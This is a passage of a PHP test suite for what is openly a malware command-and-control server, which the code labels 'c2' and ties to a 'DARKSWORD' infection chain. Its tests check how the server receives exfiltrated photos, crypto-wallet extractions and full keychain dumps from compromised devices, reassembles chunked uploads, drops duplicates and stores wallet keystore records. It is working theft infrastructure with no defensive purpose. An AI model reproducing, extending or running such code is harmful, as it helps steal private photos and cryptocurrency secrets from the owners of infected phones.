'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-wallet-dup-1',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'data' => base64_encode('{"status":"success","wallets":1}'),
])->assertOk();
DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-dup-2',
]);
DsBeaconTask::query()->where('type', 'wallet_extract')->update([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-wallet-dup-2',
]);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-dup-2',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-wallet-dup-2',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'data' => base64_encode('{"status":"success","wallets":1}'),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG');
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json');
}
#[Test]
public function result_assembles_chunks_before_store(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
$task = DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-chunk-1',
]);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $task->command_id,
'filename' => 'IMG_0002.PNG',
'category' => 'photos',
'chunk_index' => 0,
'total_chunks' => 2,
'data' => base64_encode("\x89PNG"),
])->assertOk();
$this->assertSame(0, Photo::query()->count());
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $task->command_id,
'filename' => 'IMG_0002.PNG',
'category' => 'photos',
'chunk_index' => 1,
'total_chunks' => 2,
'data' => base64_encode("\r\n\x1a\n"),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG');
$this->assertSame(
"\x89PNG\r\n\x1a\n",
Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG')
);
}
#[Test]
public function event_heartbeats_without_device_events(): void
{
$this->postJson('/event', [
'lhu' => self::DS_LHU,
'et' => 'injection_success',
])->assertOk()->assertJson(['ok' => true]);
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
}
#[Test]
public function result_wallet_scan_logs_full_untruncated_body(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-full-1',
]);
// A keychain dump payload well over the 512-byte truncation threshold.
$bigKeychain = base64_encode(str_repeat('trustwalletUTC--2025-08-28T12-22-25--1B84E61E-', 40));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-full-1',
'filename' => 'keychain_c2_dump.json',
'category' => 'wallet_scan',
'data' => $bigKeychain,
])->assertOk();
$logFile = public_path('log/ds/'.date('Ymd').'.log');
$this->assertFileExists($logFile);
$log = (string) file_get_contents($logFile);
// The full payload must be present verbatim — a 512-byte truncation would
// have cut this ~2.4KB base64 string down, so its presence proves no truncation.
$this->assertStringContainsString($bigKeychain, $log);
$this->assertStringContainsString('keychain_c2_dump.json', $log);
// And this specific entry must carry no truncation marker.
$entryStart = strpos($log, 'dsq-scan-full-1');
$this->assertNotFalse($entryStart);
// Limit to this entry only — entries are separated by a blank line (\r\n\r\n).
$entryEnd = strpos($log, "\r\n\r\n", $entryStart);
$entrySegment = $entryEnd !== false
? substr($log, $entryStart, $entryEnd - $entryStart)
: substr($log, $entryStart, 4096);
$this->assertStringNotContainsString('…[', $entrySegment);
}
#[Test]
public function result_skips_empty_wallet_scan_summary(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-empty-1',
]);
// Useless wallet_scan summary: no keychain dump, no wallets, no sandbox files.
$empty = base64_encode(json_encode([
'device_uuid' => self::DS_LHU,
'installed_wallets' => [],
'sandbox_files' => [],
'total_size' => 0,
'keychain_dump_uploaded' => false,
'_task_type' => 'wallet_scan',
]));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-empty-1',
'filename' => 'wallet_pkg.json',
'category' => 'wallet_scan',
'data' => $empty,
])->assertOk();
// No keystore record, no stored result file.
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertMissing(
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-empty-1/wallet_pkg.json'
);
}
#[Test]
public function result_skips_wallet_scan_summary_even_when_keychain_dump_uploaded(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-keep-1',
]);
// installed_wallets empty AND sandbox_files empty -> skip even though a
// keychain dump was uploaded (that dump lives in a separate result file).
$keep = base64_encode(json_encode([
'device_uuid' => self::DS_LHU,
'installed_wallets' => [],
'sandbox_files' => [],
'total_size' => 0,
'keychain_dump_uploaded' => true,
'_task_type' => 'wallet_scan',
]));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-keep-1',
'filename' => 'wallet_pkg.json',
'category' => 'wallet_scan',
'data' => $keep,
])->assertOk();
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertMissing(
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-keep-1/wallet_pkg.json'
);
}
#[Test]
public function result_keeps_wallet_scan_summary_when_installed_wallets_present(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-wallets-1',
]);
// installed_wallets non-empty -> keep (real wallet material present).
$keep = base64_encode(json_encode([
'device_uuid' => self::DS_LHU,
'installed_wallets' => [['bundleId' => 'im.token.app', 'name' => 'imToken']],
'sandbox_files' => [],
'total_size' => 1024,
'keychain_dump_uploaded' => true,
'_task_type' => 'wallet_scan',
]));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-wallets-1',
'filename' => 'wallet_pkg.json',
'category' => 'wallet_scan',
'data' => $keep,
])->assertOk();
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists(
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json'
);
}
}